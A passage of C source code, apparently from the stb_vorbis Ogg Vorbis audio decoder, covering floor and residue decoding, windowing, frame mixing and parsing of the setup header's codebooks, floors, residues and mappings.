the B[] in the current code, // so it needs to use the "old" B values to behave correctly, or else // set s to 1.0 ]]] for (i = 0; i < n4; ++i) buffer[i] = s * X[i + n4]; for (; i < n3_4; ++i) buffer[i] = -s * X[n3_4 - i - 1]; for (; i < n; ++i) buffer[i] = -s * X[i - n3_4]; } #endif static float* get_window(vorb* f, int len) { len <<= 1; if (len == f->blocksize_0) return f->window[0]; if (len == f->blocksize_1) return f->window[1]; return NULL; } #ifndef STB_VORBIS_NO_DEFER_FLOOR typedef int16 YTYPE; #else typedef int YTYPE; #endif static int do_floor(vorb* f, Mapping* map, int i, int n, float* target, YTYPE* finalY, uint8* step2_flag) { int n2 = n >> 1; int s = map->chan[i].mux, floor; floor = map->submap_floor[s]; if (f->floor_types[floor] == 0) { return error(f, VORBIS_invalid_stream); } else { Floor1* g = &f->floor_config[floor].floor1; int j, q; int lx = 0, ly = finalY[0] * g->floor1_multiplier; for (q = 1; q < g->values; ++q) { j = g->sorted_order[q]; #ifndef STB_VORBIS_NO_DEFER_FLOOR if (finalY[j] >= 0) #else if (step2_flag[j]) #endif { int hy = finalY[j] * g->floor1_multiplier; int hx = g->Xlist[j]; if (lx != hx) draw_line(target, lx, ly, hx, hy, n2); CHECK(f); lx = hx, ly = hy; } } if (lx < n2) { // optimization of: draw_line(target, lx,ly, n,ly, n2); for (j = lx; j < n2; ++j) LINE_OP(target[j], inverse_db_table[ly]); CHECK(f); } } return TRUE; } // The meaning of "left" and "right" // // For a given frame: // we compute samples from 0..n // window_center is n/2 // we'll window and mix the samples from left_start to left_end with data from the previous frame // all of the samples from left_end to right_start can be output without mixing; however, // this interval is 0-length except when transitioning between short and long frames // all of the samples from right_start to right_end need to be mixed with the next frame, // which we don't have, so those get saved in a buffer // frame N's right_end-right_start, the number of samples to mix with the next frame, // has to be the same as frame N+1's left_end-left_start (which they are by // construction) static int vorbis_decode_initial(vorb* f, int* p_left_start, int* p_left_end, int* p_right_start, int* p_right_end, int* mode) { Mode* m; int i, n, prev, next, window_center; f->channel_buffer_start = f->channel_buffer_end = 0; retry: if (f->eof) return FALSE; if (!maybe_start_packet(f)) return FALSE; // check packet type if (get_bits(f, 1) != 0) { if (IS_PUSH_MODE(f)) return error(f, VORBIS_bad_packet_type); while (EOP != get8_packet(f)); goto retry; } if (f->alloc.alloc_buffer) assert(f->alloc.alloc_buffer_length_in_bytes == f->temp_offset); i = get_bits(f, ilog(f->mode_count - 1)); if (i == EOP) return FALSE; if (i >= f->mode_count) return FALSE; *mode = i; m = f->mode_config + i; if (m->blockflag) { n = f->blocksize_1; prev = get_bits(f, 1); next = get_bits(f, 1); } else { prev = next = 0; n = f->blocksize_0; } // WINDOWING window_center = n >> 1; if (m->blockflag && !prev) { *p_left_start = (n - f->blocksize_0) >> 2; *p_left_end = (n + f->blocksize_0) >> 2; } else { *p_left_start = 0; *p_left_end = window_center; } if (m->blockflag && !next) { *p_right_start = (n * 3 - f->blocksize_0) >> 2; *p_right_end = (n * 3 + f->blocksize_0) >> 2; } else { *p_right_start = window_center; *p_right_end = n; } return TRUE; } static int vorbis_decode_packet_rest(vorb* f, int* len, Mode* m, int left_start, int left_end, int right_start, int right_end, int* p_left) { Mapping* map; int i, j, k, n, n2; int zero_channel[256]; int really_zero_channel[256]; // WINDOWING n = f->blocksize[m->blockflag]; map = &f->mapping[m->mapping]; // FLOORS n2 = n >> 1; CHECK(f); for (i = 0; i < f->channels; ++i) { int s = map->chan[i].mux, floor; zero_channel[i] = FALSE; floor = map->submap_floor[s]; if (f->floor_types[floor] == 0) { return error(f, VORBIS_invalid_stream); } else { Floor1* g = &f->floor_config[floor].floor1; if (get_bits(f, 1)) { short* finalY; uint8 step2_flag[256]; static int range_list[4] = { 256, 128, 86, 64 }; int range = range_list[g->floor1_multiplier - 1]; int offset = 2; finalY = f->finalY[i]; finalY[0] = get_bits(f, ilog(range) - 1); finalY[1] = get_bits(f, ilog(range) - 1); for (j = 0; j < g->partitions; ++j) { int pclass = g->partition_class_list[j]; int cdim = g->class_dimensions[pclass]; int cbits = g->class_subclasses[pclass]; int csub = (1 << cbits) - 1; int cval = 0; if (cbits) { Codebook* c = f->codebooks + g->class_masterbooks[pclass]; DECODE(cval, f, c); } for (k = 0; k < cdim; ++k) { int book = g->subclass_books[pclass][cval & csub]; cval = cval >> cbits; if (book >= 0) { int temp; Codebook* c = f->codebooks + book; DECODE(temp, f, c); finalY[offset++] = temp; } else finalY[offset++] = 0; } } if (f->valid_bits == INVALID_BITS) goto error; // behavior according to spec step2_flag[0] = step2_flag[1] = 1; for (j = 2; j < g->values; ++j) { int low, high, pred, highroom, lowroom, room, val; low = g->neighbors[j][0]; high = g->neighbors[j][1]; //neighbors(g->Xlist, j, &low, &high); pred = predict_point(g->Xlist[j], g->Xlist[low], g->Xlist[high], finalY[low], finalY[high]); val = finalY[j]; highroom = range - pred; lowroom = pred; if (highroom < lowroom) room = highroom * 2; else room = lowroom * 2; if (val) { step2_flag[low] = step2_flag[high] = 1; step2_flag[j] = 1; if (val >= room) if (highroom > lowroom) finalY[j] = val - lowroom + pred; else finalY[j] = pred - val + highroom - 1; else if (val & 1) finalY[j] = pred - ((val + 1) >> 1); else finalY[j] = pred + (val >> 1); } else { step2_flag[j] = 0; finalY[j] = pred; } } #ifdef STB_VORBIS_NO_DEFER_FLOOR do_floor(f, map, i, n, f->floor_buffers[i], finalY, step2_flag); #else // defer final floor computation until _after_ residue for (j = 0; j < g->values; ++j) { if (!step2_flag[j]) finalY[j] = -1; } #endif } else { error: zero_channel[i] = TRUE; } // So we just defer everything else to later // at this point we've decoded the floor into buffer } } CHECK(f); // at this point we've decoded all floors if (f->alloc.alloc_buffer) assert(f->alloc.alloc_buffer_length_in_bytes == f->temp_offset); // re-enable coupled channels if necessary memcpy(really_zero_channel, zero_channel, sizeof(really_zero_channel[0]) * f->channels); for (i = 0; i < map->coupling_steps; ++i) if (!zero_channel[map->chan[i].magnitude] || !zero_channel[map->chan[i].angle]) { zero_channel[map->chan[i].magnitude] = zero_channel[map->chan[i].angle] = FALSE; } CHECK(f); // RESIDUE DECODE for (i = 0; i < map->submaps; ++i) { float* residue_buffers[STB_VORBIS_MAX_CHANNELS]; int r; uint8 do_not_decode[256]; int ch = 0; for (j = 0; j < f->channels; ++j) { if (map->chan[j].mux == i) { if (zero_channel[j]) { do_not_decode[ch] = TRUE; residue_buffers[ch] = NULL; } else { do_not_decode[ch] = FALSE; residue_buffers[ch] = f->channel_buffers[j]; } ++ch; } } r = map->submap_residue[i]; decode_residue(f, residue_buffers, ch, n2, r, do_not_decode); } if (f->alloc.alloc_buffer) assert(f->alloc.alloc_buffer_length_in_bytes == f->temp_offset); CHECK(f); // INVERSE COUPLING for (i = map->coupling_steps - 1; i >= 0; --i) { int n2 = n >> 1; float* m = f->channel_buffers[map->chan[i].magnitude]; float* a = f->channel_buffers[map->chan[i].angle]; for (j = 0; j < n2; ++j) { float a2, m2; if (m[j] > 0) if (a[j] > 0) m2 = m[j], a2 = m[j] - a[j]; else a2 = m[j], m2 = m[j] + a[j]; else if (a[j] > 0) m2 = m[j], a2 = m[j] + a[j]; else a2 = m[j], m2 = m[j] - a[j]; m[j] = m2; a[j] = a2; } } CHECK(f); // finish decoding the floors #ifndef STB_VORBIS_NO_DEFER_FLOOR for (i = 0; i < f->channels; ++i) { if (really_zero_channel[i]) { memset(f->channel_buffers[i], 0, sizeof(*f->channel_buffers[i]) * n2); } else { do_floor(f, map, i, n, f->channel_buffers[i], f->finalY[i], NULL); } } #else for (i = 0; i < f->channels; ++i) { if (really_zero_channel[i]) { memset(f->channel_buffers[i], 0, sizeof(*f->channel_buffers[i]) * n2); } else { for (j = 0; j < n2; ++j) f->channel_buffers[i][j] *= f->floor_buffers[i][j]; } } #endif // INVERSE MDCT CHECK(f); for (i = 0; i < f->channels; ++i) inverse_mdct(f->channel_buffers[i], n, f, m->blockflag); CHECK(f); // this shouldn't be necessary, unless we exited on an error // and want to flush to get to the next packet flush_packet(f); if (f->first_decode) { // assume we start so first non-discarded sample is sample 0 // this isn't to spec, but spec would require us to read ahead // and decode the size of all current frames--could be done, // but presumably it's not a commonly used feature f->current_loc = -n2; // start of first frame is positioned for discard // we might have to discard samples "from" the next frame too, // if we're lapping a large block then a small at the start? f->discard_samples_deferred = n - right_end; f->current_loc_valid = TRUE; f->first_decode = FALSE; } else if (f->discard_samples_deferred) { if (f->discard_samples_deferred >= right_start - left_start) { f->discard_samples_deferred -= (right_start - left_start); left_start = right_start; *p_left = left_start; } else { left_start += f->discard_samples_deferred; *p_left = left_start; f->discard_samples_deferred = 0; } } else if (f->previous_length == 0 && f->current_loc_valid) { // we're recovering from a seek... that means we're going to discard // the samples from this packet even though we know our position from // the last page header, so we need to update the position based on // the discarded samples here // but wait, the code below is going to add this in itself even // on a discard, so we don't need to do it here... } // check if we have ogg information about the sample # for this packet if (f->last_seg_which == f->end_seg_with_known_loc) { // if we have a valid current loc, and this is final: if (f->current_loc_valid && (f->page_flag & PAGEFLAG_last_page)) { uint32 current_end = f->known_loc_for_packet; // then let's infer the size of the (probably) short final frame if (current_end < f->current_loc + (right_end - left_start)) { if (current_end < f->current_loc) { // negative truncation, that's impossible! *len = 0; } else { *len = current_end - f->current_loc; } *len += left_start; // this doesn't seem right, but has no ill effect on my test files if (*len > right_end) *len = right_end; // this should never happen f->current_loc += *len; return TRUE; } } // otherwise, just set our sample loc // guess that the ogg granule pos refers to the _middle_ of the // last frame? // set f->current_loc to the position of left_start f->current_loc = f->known_loc_for_packet - (n2 - left_start); f->current_loc_valid = TRUE; } if (f->current_loc_valid) f->current_loc += (right_start - left_start); if (f->alloc.alloc_buffer) assert(f->alloc.alloc_buffer_length_in_bytes == f->temp_offset); *len = right_end; // ignore samples after the window goes to 0 CHECK(f); return TRUE; } static int vorbis_decode_packet(vorb* f, int* len, int* p_left, int* p_right) { int mode, left_end, right_end; if (!vorbis_decode_initial(f, p_left, &left_end, p_right, &right_end, &mode)) return 0; return vorbis_decode_packet_rest(f, len, f->mode_config + mode, *p_left, left_end, *p_right, right_end, p_left); } static int vorbis_finish_frame(stb_vorbis* f, int len, int left, int right) { int prev, i, j; // we use right&left (the start of the right- and left-window sin()-regions) // to determine how much to return, rather than inferring from the rules // (same result, clearer code); 'left' indicates where our sin() window // starts, therefore where the previous window's right edge starts, and // therefore where to start mixing from the previous buffer. 'right' // indicates where our sin() ending-window starts, therefore that's where // we start saving, and where our returned-data ends. // mixin from previous window if (f->previous_length) { int i, j, n = f->previous_length; float* w = get_window(f, n); if (w == NULL) return 0; for (i = 0; i < f->channels; ++i) { for (j = 0; j < n; ++j) f->channel_buffers[i][left + j] = f->channel_buffers[i][left + j] * w[j] + f->previous_window[i][j] * w[n - 1 - j]; } } prev = f->previous_length; // last half of this data becomes previous window f->previous_length = len - right; // @OPTIMIZE: could avoid this copy by double-buffering the // output (flipping previous_window with channel_buffers), but // then previous_window would have to be 2x as large, and // channel_buffers couldn't be temp mem (although they're NOT // currently temp mem, they could be (unless we want to level // performance by spreading out the computation)) for (i = 0; i < f->channels; ++i) for (j = 0; right + j < len; ++j) f->previous_window[i][j] = f->channel_buffers[i][right + j]; if (!prev) // there was no previous packet, so this data isn't valid... // this isn't entirely true, only the would-have-overlapped data // isn't valid, but this seems to be what the spec requires return 0; // truncate a short frame if (len < right) right = len; f->samples_output += right - left; return right - left; } static int vorbis_pump_first_frame(stb_vorbis* f) { int len, right, left, res; res = vorbis_decode_packet(f, &len, &left, &right); if (res) vorbis_finish_frame(f, len, left, right); return res; } #ifndef STB_VORBIS_NO_PUSHDATA_API static int is_whole_packet_present(stb_vorbis* f) { // make sure that we have the packet available before continuing... // this requires a full ogg parse, but we know we can fetch from f->stream // instead of coding this out explicitly, we could save the current read state, // read the next packet with get8() until end-of-packet, check f->eof, then // reset the state? but that would be slower, esp. since we'd have over 256 bytes // of state to restore (primarily the page segment table) int s = f->next_seg, first = TRUE; uint8* p = f->stream; if (s != -1) { // if we're not starting the packet with a 'continue on next page' flag for (; s < f->segment_count; ++s) { p += f->segments[s]; if (f->segments[s] < 255) // stop at first short segment break; } // either this continues, or it ends it... if (s == f->segment_count) s = -1; // set 'crosses page' flag if (p > f->stream_end) return error(f, VORBIS_need_more_data); first = FALSE; } for (; s == -1;) { uint8* q; int n; // check that we have the page header ready if (p + 26 >= f->stream_end) return error(f, VORBIS_need_more_data); // validate the page if (memcmp(p, ogg_page_header, 4)) return error(f, VORBIS_invalid_stream); if (p[4] != 0) return error(f, VORBIS_invalid_stream); if (first) { // the first segment must NOT have 'continued_packet', later ones MUST if (f->previous_length) if ((p[5] & PAGEFLAG_continued_packet)) return error(f, VORBIS_invalid_stream); // if no previous length, we're resynching, so we can come in on a continued-packet, // which we'll just drop } else { if (!(p[5] & PAGEFLAG_continued_packet)) return error(f, VORBIS_invalid_stream); } n = p[26]; // segment counts q = p + 27; // q points to segment table p = q + n; // advance past header // make sure we've read the segment table if (p > f->stream_end) return error(f, VORBIS_need_more_data); for (s = 0; s < n; ++s) { p += q[s]; if (q[s] < 255) break; } if (s == n) s = -1; // set 'crosses page' flag if (p > f->stream_end) return error(f, VORBIS_need_more_data); first = FALSE; } return TRUE; } #endif // !STB_VORBIS_NO_PUSHDATA_API static int start_decoder(vorb* f) { uint8 header[6], x, y; int len, i, j, k, max_submaps = 0; int longest_floorlist = 0; // first page, first packet f->first_decode = TRUE; if (!start_page(f)) return FALSE; // validate page flag if (!(f->page_flag & PAGEFLAG_first_page)) return error(f, VORBIS_invalid_first_page); if (f->page_flag & PAGEFLAG_last_page) return error(f, VORBIS_invalid_first_page); if (f->page_flag & PAGEFLAG_continued_packet) return error(f, VORBIS_invalid_first_page); // check for expected packet length if (f->segment_count != 1) return error(f, VORBIS_invalid_first_page); if (f->segments[0] != 30) { // check for the Ogg skeleton fishead identifying header to refine our error if (f->segments[0] == 64 && getn(f, header, 6) && header[0] == 'f' && header[1] == 'i' && header[2] == 's' && header[3] == 'h' && header[4] == 'e' && header[5] == 'a' && get8(f) == 'd' && get8(f) == '\0') return error(f, VORBIS_ogg_skeleton_not_supported); else return error(f, VORBIS_invalid_first_page); } // read packet // check packet header if (get8(f) != VORBIS_packet_id) return error(f, VORBIS_invalid_first_page); if (!getn(f, header, 6)) return error(f, VORBIS_unexpected_eof); if (!vorbis_validate(header)) return error(f, VORBIS_invalid_first_page); // vorbis_version if (get32(f) != 0) return error(f, VORBIS_invalid_first_page); f->channels = get8(f); if (!f->channels) return error(f, VORBIS_invalid_first_page); if (f->channels > STB_VORBIS_MAX_CHANNELS) return error(f, VORBIS_too_many_channels); f->sample_rate = get32(f); if (!f->sample_rate) return error(f, VORBIS_invalid_first_page); get32(f); // bitrate_maximum get32(f); // bitrate_nominal get32(f); // bitrate_minimum x = get8(f); { int log0, log1; log0 = x & 15; log1 = x >> 4; f->blocksize_0 = 1 << log0; f->blocksize_1 = 1 << log1; if (log0 < 6 || log0 > 13) return error(f, VORBIS_invalid_setup); if (log1 < 6 || log1 > 13) return error(f, VORBIS_invalid_setup); if (log0 > log1) return error(f, VORBIS_invalid_setup); } // framing_flag x = get8(f); if (!(x & 1)) return error(f, VORBIS_invalid_first_page); // second packet! if (!start_page(f)) return FALSE; if (!start_packet(f)) return FALSE; if (!next_segment(f)) return FALSE; if (get8_packet(f) != VORBIS_packet_comment) return error(f, VORBIS_invalid_setup); for (i = 0; i < 6; ++i) header[i] = get8_packet(f); if (!vorbis_validate(header)) return error(f, VORBIS_invalid_setup); //file vendor len = get32_packet(f); f->vendor = (char*)setup_malloc(f, sizeof(char) * (len + 1)); if (f->vendor == NULL) return error(f, VORBIS_outofmem); for (i = 0; i < len; ++i) { f->vendor[i] = get8_packet(f); } f->vendor[len] = (char)'\0'; //user comments f->comment_list_length = get32_packet(f); f->comment_list = (char**)setup_malloc(f, sizeof(char*) * (f->comment_list_length)); if (f->comment_list == NULL) return error(f, VORBIS_outofmem); for (i = 0; i < f->comment_list_length; ++i) { len = get32_packet(f); f->comment_list[i] = (char*)setup_malloc(f, sizeof(char) * (len + 1)); if (f->comment_list[i] == NULL) return error(f, VORBIS_outofmem); for (j = 0; j < len; ++j) { f->comment_list[i][j] = get8_packet(f); } f->comment_list[i][len] = (char)'\0'; } // framing_flag x = get8_packet(f); if (!(x & 1)) return error(f, VORBIS_invalid_setup); skip(f, f->bytes_in_seg); f->bytes_in_seg = 0; do { len = next_segment(f); skip(f, len); f->bytes_in_seg = 0; } while (len); // third packet! if (!start_packet(f)) return FALSE; #ifndef STB_VORBIS_NO_PUSHDATA_API if (IS_PUSH_MODE(f)) { if (!is_whole_packet_present(f)) { // convert error in ogg header to write type if (f->error == VORBIS_invalid_stream) f->error = VORBIS_invalid_setup; return FALSE; } } #endif crc32_init(); // always init it, to avoid multithread race conditions if (get8_packet(f) != VORBIS_packet_setup) return error(f, VORBIS_invalid_setup); for (i = 0; i < 6; ++i) header[i] = get8_packet(f); if (!vorbis_validate(header)) return error(f, VORBIS_invalid_setup); // codebooks f->codebook_count = get_bits(f, 8) + 1; f->codebooks = (Codebook*)setup_malloc(f, sizeof(*f->codebooks) * f->codebook_count); if (f->codebooks == NULL) return error(f, VORBIS_outofmem); memset(f->codebooks, 0, sizeof(*f->codebooks) * f->codebook_count); for (i = 0; i < f->codebook_count; ++i) { uint32* values; int ordered, sorted_count; int total = 0; uint8* lengths; Codebook* c = f->codebooks + i; CHECK(f); x = get_bits(f, 8); if (x != 0x42) return error(f, VORBIS_invalid_setup); x = get_bits(f, 8); if (x != 0x43) return error(f, VORBIS_invalid_setup); x = get_bits(f, 8); if (x != 0x56) return error(f, VORBIS_invalid_setup); x = get_bits(f, 8); c->dimensions = (get_bits(f, 8) << 8) + x; x = get_bits(f, 8); y = get_bits(f, 8); c->entries = (get_bits(f, 8) << 16) + (y << 8) + x; ordered = get_bits(f, 1); c->sparse = ordered ? 0 : get_bits(f, 1); if (c->dimensions == 0 && c->entries != 0) return error(f, VORBIS_invalid_setup); if (c->sparse) lengths = (uint8*)setup_temp_malloc(f, c->entries); else lengths = c->codeword_lengths = (uint8*)setup_malloc(f, c->entries); if (!lengths) return error(f, VORBIS_outofmem); if (ordered) { int current_entry = 0; int current_length = get_bits(f, 5) + 1; while (current_entry < c->entries) { int limit = c->entries - current_entry; int n = get_bits(f, ilog(limit)); if (current_length >= 32) return error(f, VORBIS_invalid_setup); if (current_entry + n > (int) c->entries) { return error(f, VORBIS_invalid_setup); } memset(lengths + current_entry, current_length, n); current_entry += n; ++current_length; } } else { for (j = 0; j < c->entries; ++j) { int present = c->sparse ? get_bits(f, 1) : 1; if (present) { lengths[j] = get_bits(f, 5) + 1; ++total; if (lengths[j] == 32) return error(f, VORBIS_invalid_setup); } else { lengths[j] = NO_CODE; } } } if (c->sparse && total >= c->entries >> 2) { // convert sparse items to non-sparse! if (c->entries > (int)f->setup_temp_memory_required) f->setup_temp_memory_required = c->entries; c->codeword_lengths = (uint8*)setup_malloc(f, c->entries); if (c->codeword_lengths == NULL) return error(f, VORBIS_outofmem); memcpy(c->codeword_lengths, lengths, c->entries); setup_temp_free(f, lengths, c->entries); // note this is only safe if there have been no intervening temp mallocs! lengths = c->codeword_lengths; c->sparse = 0; } // compute the size of the sorted tables if (c->sparse) { sorted_count = total; } else { sorted_count = 0; #ifndef STB_VORBIS_NO_HUFFMAN_BINARY_SEARCH for (j = 0; j < c->entries; ++j) if (lengths[j] > STB_VORBIS_FAST_HUFFMAN_LENGTH && lengths[j] != NO_CODE) ++sorted_count; #endif } c->sorted_entries = sorted_count; values = NULL; CHECK(f); if (!c->sparse) { c->codewords = (uint32*)setup_malloc(f, sizeof(c->codewords[0]) * c->entries); if (!c->codewords) return error(f, VORBIS_outofmem); } else { unsigned int size; if (c->sorted_entries) { c->codeword_lengths = (uint8*)setup_malloc(f, c->sorted_entries); if (!c->codeword_lengths) return error(f, VORBIS_outofmem); c->codewords = (uint32*)setup_temp_malloc(f, sizeof(*c->codewords) * c->sorted_entries); if (!c->codewords) return error(f, VORBIS_outofmem); values = (uint32*)setup_temp_malloc(f, sizeof(*values) * c->sorted_entries); if (!values) return error(f, VORBIS_outofmem); } size = c->entries + (sizeof(*c->codewords) + sizeof(*values)) * c->sorted_entries; if (size > f->setup_temp_memory_required) f->setup_temp_memory_required = size; } if (!compute_codewords(c, lengths, c->entries, values)) { if (c->sparse) setup_temp_free(f, values, 0); return error(f, VORBIS_invalid_setup); } if (c->sorted_entries) { // allocate an extra slot for sentinels c->sorted_codewords = (uint32*)setup_malloc(f, sizeof(*c->sorted_codewords) * (c->sorted_entries + 1)); if (c->sorted_codewords == NULL) return error(f, VORBIS_outofmem); // allocate an extra slot at the front so that c->sorted_values[-1] is defined // so that we can catch that case without an extra if c->sorted_values = (int*)setup_malloc(f, sizeof(*c->sorted_values) * (c->sorted_entries + 1)); if (c->sorted_values == NULL) return error(f, VORBIS_outofmem); ++c->sorted_values; c->sorted_values[-1] = -1; compute_sorted_huffman(c, lengths, values); } if (c->sparse) { setup_temp_free(f, values, sizeof(*values) * c->sorted_entries); setup_temp_free(f, c->codewords, sizeof(*c->codewords) * c->sorted_entries); setup_temp_free(f, lengths, c->entries); c->codewords = NULL; } compute_accelerated_huffman(c); CHECK(f); c->lookup_type = get_bits(f, 4); if (c->lookup_type > 2) return error(f, VORBIS_invalid_setup); if (c->lookup_type > 0) { uint16* mults; c->minimum_value = float32_unpack(get_bits(f, 32)); c->delta_value = float32_unpack(get_bits(f, 32)); c->value_bits = get_bits(f, 4) + 1; c->sequence_p = get_bits(f, 1); if (c->lookup_type == 1) { int values = lookup1_values(c->entries, c->dimensions); if (values < 0) return error(f, VORBIS_invalid_setup); c->lookup_values = (uint32)values; } else { c->lookup_values = c->entries * c->dimensions; } if (c->lookup_values == 0) return error(f, VORBIS_invalid_setup); mults = (uint16*)setup_temp_malloc(f, sizeof(mults[0]) * c->lookup_values); if (mults == NULL) return error(f, VORBIS_outofmem); for (j = 0; j < (int)c->lookup_values; ++j) { int q = get_bits(f, c->value_bits); if (q == EOP) { setup_temp_free(f, mults, sizeof(mults[0]) * c->lookup_values); return error(f, VORBIS_invalid_setup); } mults[j] = q; } #ifndef STB_VORBIS_DIVIDES_IN_CODEBOOK if (c->lookup_type == 1) { int len, sparse = c->sparse; float last = 0; // pre-expand the lookup1-style multiplicands, to avoid a divide in the inner loop if (sparse) { if (c->sorted_entries == 0) goto skip; c->multiplicands = (codetype*)setup_malloc(f, sizeof(c->multiplicands[0]) * c->sorted_entries * c->dimensions); } else c->multiplicands = (codetype*)setup_malloc(f, sizeof(c->multiplicands[0]) * c->entries * c->dimensions); if (c->multiplicands == NULL) { setup_temp_free(f, mults, sizeof(mults[0]) * c->lookup_values); return error(f, VORBIS_outofmem); } len = sparse ? c->sorted_entries : c->entries; for (j = 0; j < len; ++j) { unsigned int z = sparse ? c->sorted_values[j] : j; unsigned int div = 1; for (k = 0; k < c->dimensions; ++k) { int off = (z / div) % c->lookup_values; float val = mults[off]; val = mults[off] * c->delta_value + c->minimum_value + last; c->multiplicands[j * c->dimensions + k] = val; if (c->sequence_p) last = val; if (k + 1 < c->dimensions) { if (div > UINT_MAX / (unsigned int)c->lookup_values) { setup_temp_free(f, mults, sizeof(mults[0]) * c->lookup_values); return error(f, VORBIS_invalid_setup); } div *= c->lookup_values; } } } c->lookup_type = 2; } else #endif { float last = 0; CHECK(f); c->multiplicands = (codetype*)setup_malloc(f, sizeof(c->multiplicands[0]) * c->lookup_values); if (c->multiplicands == NULL) { setup_temp_free(f, mults, sizeof(mults[0]) * c->lookup_values); return error(f, VORBIS_outofmem); } for (j = 0; j < (int)c->lookup_values; ++j) { float val = mults[j] * c->delta_value + c->minimum_value + last; c->multiplicands[j] = val; if (c->sequence_p) last = val; } } #ifndef STB_VORBIS_DIVIDES_IN_CODEBOOK skip : ; #endif setup_temp_free(f, mults, sizeof(mults[0]) * c->lookup_values); CHECK(f); } CHECK(f); } // time domain transfers (notused) x = get_bits(f, 6) + 1; for (i = 0; i < x; ++i) { uint32 z = get_bits(f, 16); if (z != 0) return error(f, VORBIS_invalid_setup); } // Floors f->floor_count = get_bits(f, 6) + 1; f->floor_config = (Floor*)setup_malloc(f, f->floor_count * sizeof(*f->floor_config)); if (f->floor_config == NULL) return error(f, VORBIS_outofmem); for (i = 0; i < f->floor_count; ++i) { f->floor_types[i] = get_bits(f, 16); if (f->floor_types[i] > 1) return error(f, VORBIS_invalid_setup); if (f->floor_types[i] == 0) { Floor0* g = &f->floor_config[i].floor0; g->order = get_bits(f, 8); g->rate = get_bits(f, 16); g->bark_map_size = get_bits(f, 16); g->amplitude_bits = get_bits(f, 6); g->amplitude_offset = get_bits(f, 8); g->number_of_books = get_bits(f, 4) + 1; for (j = 0; j < g->number_of_books; ++j) g->book_list[j] = get_bits(f, 8); return error(f, VORBIS_feature_not_supported); } else { stbv__floor_ordering p[31 * 8 + 2]; Floor1* g = &f->floor_config[i].floor1; int max_class = -1; g->partitions = get_bits(f, 5); for (j = 0; j < g->partitions; ++j) { g->partition_class_list[j] = get_bits(f, 4); if (g->partition_class_list[j] > max_class) max_class = g->partition_class_list[j]; } for (j = 0; j <= max_class; ++j) { g->class_dimensions[j] = get_bits(f, 3) + 1; g->class_subclasses[j] = get_bits(f, 2); if (g->class_subclasses[j]) { g->class_masterbooks[j] = get_bits(f, 8); if (g->class_masterbooks[j] >= f->codebook_count) return error(f, VORBIS_invalid_setup); } for (k = 0; k < 1 << g->class_subclasses[j]; ++k) { g->subclass_books[j][k] = get_bits(f, 8) - 1; if (g->subclass_books[j][k] >= f->codebook_count) return error(f, VORBIS_invalid_setup); } } g->floor1_multiplier = get_bits(f, 2) + 1; g->rangebits = get_bits(f, 4); g->Xlist[0] = 0; g->Xlist[1] = 1 << g->rangebits; g->values = 2; for (j = 0; j < g->partitions; ++j) { int c = g->partition_class_list[j]; for (k = 0; k < g->class_dimensions[c]; ++k) { g->Xlist[g->values] = get_bits(f, g->rangebits); ++g->values; } } // precompute the sorting for (j = 0; j < g->values; ++j) { p[j].x = g->Xlist[j]; p[j].id = j; } qsort(p, g->values, sizeof(p[0]), point_compare); for (j = 0; j < g->values - 1; ++j) if (p[j].x == p[j + 1].x) return error(f, VORBIS_invalid_setup); for (j = 0; j < g->values; ++j) g->sorted_order[j] = (uint8)p[j].id; // precompute the neighbors for (j = 2; j < g->values; ++j) { int low = 0, hi = 0; neighbors(g->Xlist, j, &low, &hi); g->neighbors[j][0] = low; g->neighbors[j][1] = hi; } if (g->values > longest_floorlist) longest_floorlist = g->values; } } // Residue f->residue_count = get_bits(f, 6) + 1; f->residue_config = (Residue*)setup_malloc(f, f->residue_count * sizeof(f->residue_config[0])); if (f->residue_config == NULL) return error(f, VORBIS_outofmem); memset(f->residue_config, 0, f->residue_count * sizeof(f->residue_config[0])); for (i = 0; i < f->residue_count; ++i) { uint8 residue_cascade[64]; Residue* r = f->residue_config + i; f->residue_types[i] = get_bits(f, 16); if (f->residue_types[i] > 2) return error(f, VORBIS_invalid_setup); r->begin = get_bits(f, 24); r->end = get_bits(f, 24); if (r->end < r->begin) return error(f, VORBIS_invalid_setup); r->part_size = get_bits(f, 24) + 1; r->classifications = get_bits(f, 6) + 1; r->classbook = get_bits(f, 8); if (r->classbook >= f->codebook_count) return error(f, VORBIS_invalid_setup); for (j = 0; j < r->classifications; ++j) { uint8 high_bits = 0; uint8 low_bits = get_bits(f, 3); if (get_bits(f, 1)) high_bits = get_bits(f, 5); residue_cascade[j] = high_bits * 8 + low_bits; } r->residue_books = (short(*)[8]) setup_malloc(f, sizeof(r->residue_books[0]) * r->classifications); if (r->residue_books == NULL) return error(f, VORBIS_outofmem); for (j = 0; j < r->classifications; ++j) { for (k = 0; k < 8; ++k) { if (residue_cascade[j] & (1 << k)) { r->residue_books[j][k] = get_bits(f, 8); if (r->residue_books[j][k] >= f->codebook_count) return error(f, VORBIS_invalid_setup); } else { r->residue_books[j][k] = -1; } } } // precompute the classifications[] array to avoid inner-loop mod/divide // call it 'classdata' since we already have r->classifications r->classdata = (uint8**)setup_malloc(f, sizeof(*r->classdata) * f->codebooks[r->classbook].entries); if (!r->classdata) return error(f, VORBIS_outofmem); memset(r->classdata, 0, sizeof(*r->classdata) * f->codebooks[r->classbook].entries); for (j = 0; j < f->codebooks[r->classbook].entries; ++j) { int classwords = f->codebooks[r->classbook].dimensions; int temp = j; r->classdata[j] = (uint8*)setup_malloc(f, sizeof(r->classdata[j][0]) * classwords); if (r->classdata[j] == NULL) return error(f, VORBIS_outofmem); for (k = classwords - 1; k >= 0; --k) { r->classdata[j][k] = temp % r->classifications; temp /= r->classifications; } } } f->mapping_count = get_bits(f, 6) + 1; f->mapping = (Mapping*)setup_malloc(f, f->mapping_count * sizeof(*f->mapping)); if (f->mapping == NULL) return error(f, VORBIS_outofmem); memset(f->mapping, 0, f->mapping_count * sizeof(*f->mapping)); for (i = 0; i < f->mapping_count; ++i) { Mapping* m = f->mapping + i; int mapping_type = get_bits(f, 16); if (mapping_type != 0) return error(f, VORBIS_invalid_setup); m->chan = (MappingChannel*)setup_malloc(f, f->channels * sizeof(*m->chan)); if (m->chan == NULL) return error(f, VORBIS_outofmem); if (get_bits(f, 1)) m->submaps = get_bits(f, 4) + 1; else m->submaps = 1; if (m->submaps > max_submaps) max_submaps = m->submaps; if (get_bits(f, 1)) { m->coupling_steps = get_bits(f, 8) + 1; if (m->coupling_steps > f->channels) return error(f, VORBIS_invalid_setup); for (k = 0; k < m->coupling_steps; ++k) { m->chan[k].magnitude = get_bits(f, ilog(f->channels - 1)); m->chan[k].angle = get_bits(f, ilog(f->channels - 1)); if (m->chan[k].magnitude 